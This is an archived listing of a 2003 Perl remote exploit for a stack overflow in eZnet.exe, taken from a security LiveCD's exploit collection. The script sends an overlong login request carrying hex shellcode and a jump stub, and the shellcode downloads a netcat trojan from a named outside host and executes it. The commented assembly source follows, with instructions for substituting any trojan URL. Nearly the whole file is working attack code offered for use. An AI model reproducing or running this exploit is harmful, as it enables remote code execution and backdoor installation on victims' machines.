home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ez / 2003.12.15.eznetexploit.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  6.2 KB  |  243 lines
  1. #!/usr/bin/perl -w
  2. # 
  3. # Stack Overflow in eZnet.exe - Remote Exploit
  4. # 
  5. # Will download a trojan from any address which you provide
  6. # on the target system, then will execute the trojan.
  7. # 
  8. # For this exploit I have tried several strategies to increase
  9. # reliability and performance:
  10. # 
  11. # + Jump to a static 'call esp'
  12. # + Backwards jump to code a known distance from the stack pointer
  13. #    since the stack address seems to change for each version of
  14. #    eznet.
  15. # + Works out the byte difference for custom urls
  16. #    (must be no longer than 254 bytes!!)
  17. # + Causes eznet.exe to restart (not really my choice ;o)
  18. # + Shellcode steals addresses from a static module.
  19. # 
  20. # (Shellcode is attached to the bottom of this file!)
  21. #
  22. # - by Peter Winter-Smith [peter4020@hotmail.com]
  23.  
  24. use IO::Socket;
  25.  
  26. if(!($ARGV[1]))
  27. {
  28. print "\nUsage: eZnetexploit.pl <victim> <url of trojan>\n" .
  29.       " + netcat trojan at http://www.elitehaven.net/ncat.exe\n" .
  30.       " + listens on port 9999.\n\n";
  31. exit;
  32. }
  33.  
  34. print "eZnet.exe remote trojan downloader exploit\n";
  35.  
  36. $victim = IO::Socket::INET->new(Proto=>'tcp',
  37.                                PeerAddr=>$ARGV[0],
  38.                                PeerPort=>"80")
  39.                            or die "Unable to connect to $ARGV[0] on port 80";
  40.  
  41. $tlen = chr(length($ARGV[1]) + 1);
  42.  
  43. $shellcode =            "\xEB\x3C\x5F\x55\x89\xE5\x81\xC4" .
  44.                         "\xE8\xFF\xFF\xFF\x57\x31\xDB\xB3" .
  45.                         "\x07\xB0\xFF\xFC\xF2\xAE\xFE\x47" .
  46.                         "\xFF\xFE\xCB\x80\xFB\x01\x75\xF4" .
  47.                         "\x5F\x57\x8D\x7F\x0B\x57\x8D\x7F" .
  48.                         "\x13\x57\x8D\x7F\x08\x57\x8D\x7F" .
  49.                                                     $tlen  .
  50.                             "\x57\x8D\x7F\x09\x47\x57\x8D" .
  51.                         "\x54\x24\x14\x52\xEB\x02\xEB\x52" .
  52.                         "\x89\xD6\xFF\x36\xFF\x15\x1C\x91" .
  53.                         "\x04\x10\x5A\x52\x8D\x72\xFC\xFF" .
  54.                         "\x36\x50\xFF\x15\xCC\x90\x04\x10" .
  55.                         "\x5A\x52\x31\xC9\x51\x51\x8D\x72" .
  56.                         "\xF0\xFF\x36\x8D\x72\xF4\xFF\x36" .
  57.                         "\x51\xFF\xD0\x5A\x52\xFF\x72\xEC" .
  58.                         "\xFF\x15\x1C\x91\x04\x10\x5A\x52" .
  59.                         "\x8D\x72\xF8\xFF\x36\x50\xFF\x15" .
  60.                         "\xCC\x90\x04\x10\x5A\x52\x31\xC9" .
  61.                         "\x41\x51\x8D\x72\xF0\xFF\x36\xFF" .
  62.                         "\xD0\xCC\xE8\x6B\xFF\xFF\xFF\x55" .
  63.                         "\x52\x4C\x4D\x4F\x4E\x2E\x44\x4C" .
  64.                         "\x4C\xFF\x55\x52\x4C\x44\x6F\x77" .
  65.                         "\x6E\x6C\x6F\x61\x64\x54\x6F\x46" .
  66.                         "\x69\x6C\x65\x41\xFF\x57\x69\x6E" .
  67.                         "\x45\x78\x65\x63\xFF" .  $ARGV[1] .
  68.                                                     "\xFF" .
  69.                         "\x63\x3A\x5C\x6E\x63\x2E\x65\x78" .
  70.                         "\x65\xFF\x6B\x65\x72\x6E\x65\x6C" .
  71.                         "\x33\x32\x2E\x64\x6C\x6C\xFF";
  72.  
  73. $jmpcode =              "\x89\xE0\x66\x2D\x38\x32\xFF\xE0";
  74.  
  75. $eip = "\xBB\x33\x05\x10";
  76.  
  77. $packet = "" .
  78.   "GET /SwEzModule.dll?operation=login&autologin=" .
  79.   "\x90"x65 . $shellcode . "a"x(4375 - length($ARGV[1])) . $eip . "\x90"x20 . $jmpcode .
  80.   "\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";
  81.                   
  82. print $victim $packet;
  83.  
  84. print " + Making Request ...\n + Trojan should download - best of luck!\n";
  85.  
  86. sleep(4);
  87. close($victim);
  88.  
  89. print "Done.\n";
  90. exit;
  91.  
  92. #-----------------------------[vampiric.asm]------------------------------
  93. # ; 'eZnet.exe' (eZmeeting, eZnetwork, eZphotoshare, eZshare, eZ)
  94. # ;   (cryptso.dll vampiric shellcode)
  95. # ; Url Download + Execute
  96. # ; By Peter Winter-Smith
  97. # ; [peter4020@hotmail.com]
  98. # 
  99. # bits 32
  100. # 
  101. # jmp short killnull
  102. # 
  103. # next:
  104. # pop edi
  105. # 
  106. # push ebp
  107. # mov ebp, esp
  108. # add esp, -24
  109. # 
  110. # push edi
  111. # 
  112. # xor ebx, ebx
  113. # mov bl, 07h
  114. # mov al, 0ffh
  115. # 
  116. # cld
  117. # nullify:
  118. # repne scasb
  119. # inc byte [edi-01h]
  120. # dec bl
  121. # cmp bl, 01h
  122. # jne nullify
  123. # 
  124. # pop edi
  125. # 
  126. # push edi        ; 'URLMON.DLL'
  127. # lea edi, [edi+11]
  128. # push edi        ; 'URLDownloadToFileA'
  129. # lea edi, [edi+19]
  130. # push edi        ; 'WinExec'
  131. # lea edi, [edi+08]
  132. # push edi        ; 'http://www.elitehaven.net/ncat.exe'
  133. # lea edi, [edi+35]
  134. # push edi        ; 'c:\nc.exe'
  135. # lea edi, [edi+09]
  136. # inc edi
  137. # push edi        ; 'kernel32.dll'
  138. # 
  139. # lea edx, [esp+20]
  140. # push edx
  141. # 
  142. # jmp short over
  143. # killnull:
  144. # jmp short data
  145. # over:
  146. # 
  147. # mov esi, edx
  148. # push dword [esi]
  149. # 
  150. # call [1004911ch]    ; LoadLibraryA
  151. # 
  152. # pop edx
  153. # push edx
  154. # lea esi, [edx-04]
  155. # push dword [esi]
  156. # 
  157. # push eax
  158. # 
  159. # call [100490cch]    ; GetProcAddress("URLMON.DLL", URLDownloadToFileA);
  160. # 
  161. # pop edx
  162. # push edx
  163. # 
  164. # xor ecx, ecx
  165. # push ecx
  166. # push ecx
  167. # lea esi, [edx-16]    ; file path
  168. # push dword [esi]
  169. # lea esi, [edx-12]    ; url
  170. # push dword [esi]
  171. # push ecx
  172. # 
  173. # call eax
  174. # 
  175. # pop edx
  176. # push edx
  177. # 
  178. # push dword [edx-20]
  179. # 
  180. # call [1004911ch]    ; LoadLibraryA
  181. # 
  182. # pop edx
  183. # push edx
  184. # 
  185. # 
  186. # lea esi, [edx-08]
  187. # push dword [esi]    ; 'WinExec'
  188. # push eax        ; kernel32.dll handle
  189. # 
  190. # call [100490cch]    ; GetProcAddress("kernel32.dll", WinExec);
  191. # 
  192. # pop edx
  193. # push edx
  194. # 
  195. # xor ecx, ecx
  196. # inc ecx
  197. # push ecx
  198. # 
  199. # lea esi, [edx-16]    ; file path
  200. # push dword [esi]
  201. # 
  202. # call eax
  203. # 
  204. # int3
  205. # 
  206. # ta:
  207. # call next
  208. # db 'URLMON.DLL',0ffh
  209. # db 'URLDownloadToFileA',0ffh
  210. # db 'WinExec',0ffh
  211. # db 'http://www.elitehaven.net/ncat.exe',0ffh
  212. # ; When altering, you MUST be sure
  213. # ; to also alter the offsets in the 0ffh to null
  214. # ; byte search!
  215. # ; for example:
  216. # ;   db 'http://www.site.com/someguy/trojan.exe',0ffh
  217. # ; count the length of the url, and add one for the 0ffh byte.
  218. # ; The above url is 38 bytes long, plus one for our null, is 39 bytes.
  219. # ; find the code saying (at the start of the shellcode):
  220. # ;   push edi        ; 'http://www.elitehaven.net/ncat.exe'
  221. # ;   lea edi, [edi+35]
  222. # ; and make it:
  223. # ;   push edi        ; 'http://www.site.com/someguy/trojan.exe'
  224. # ;   lea edi, [edi+39]
  225. # ; same goes for the filename below :o)
  226. # db 'c:\nc.exe',0ffh
  227. # db 'kernel32.dll',0ffh
  228. #-------------------------------------------------------------------------
  229.  
  230. #------------------------------[subcode.asm]------------------------------
  231. # ; eZnet.exe Sub-Shellcode
  232. # ; [peter4020@hotmail.com]
  233. # 
  234. # ;100533BBh
  235. # 
  236. # bits 32
  237. # 
  238. # mov eax, esp
  239. # sub ax, 3238h
  240. # jmp eax
  241. #-----------------------------------------------
  242.  
  243.